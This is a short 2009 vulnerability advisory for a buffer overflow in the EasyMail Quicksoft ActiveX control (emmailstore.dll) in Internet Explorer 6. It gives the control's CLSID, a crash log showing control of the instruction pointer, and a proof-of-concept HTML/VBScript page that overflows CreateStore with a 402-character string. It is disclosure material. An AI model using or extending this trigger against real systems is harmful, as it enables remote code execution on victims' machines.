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Application: EasyMail Quicksoft 6.0.2.0
Platforms: Windows XP Professional French SP2
crash: IE 6.0.2900.2180
Exploitation: remote Code Execution
Date: 2009-08-24
Author: Francis Provencher (Protek Research Lab's)
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1) Introduction
2) Technical details and bug
3) The Code
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1) Introduction
===============
Create, send, download, parse, print and store internet email messages in your classic windows application. Designed for Visual Basic, ASP, C++, Delphi, ColdFusion, PowerBuilder, Access and other development environments. COM or standard DLL interfaces. This is the software that processes hundreds of millions of email messages on the Internet every day.
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2) Technical details
============================
Name: emmailstore.dll
Ver.: 6.0.2.0
CLSID: {18A76B9A-45C1-11D3-80DC-00C04F6B92D0}
ModLoad: 10000000 1002c000 C:\WINDOWS\system32\emmailstore.dll
(1670.59c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000002bd ebx=00000000 ecx=0003ea80 edx=00030608 esi=00038790 edi=00000193
eip=41414141 esp=0013eb44 ebp=0013eb60 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206
41414141 ?? ???
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3) The Code
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Proof of concept DoS code;
<HTML>
<object classid='clsid:18A76B9A-45C1-11D3-80DC-00C04F6B92D0' id='target' />
<script language='vbscript'>
argCount = 2
arg1=String(402, "A")
arg2=1
target.CreateStore arg1 ,arg2
</script>
<html>
~
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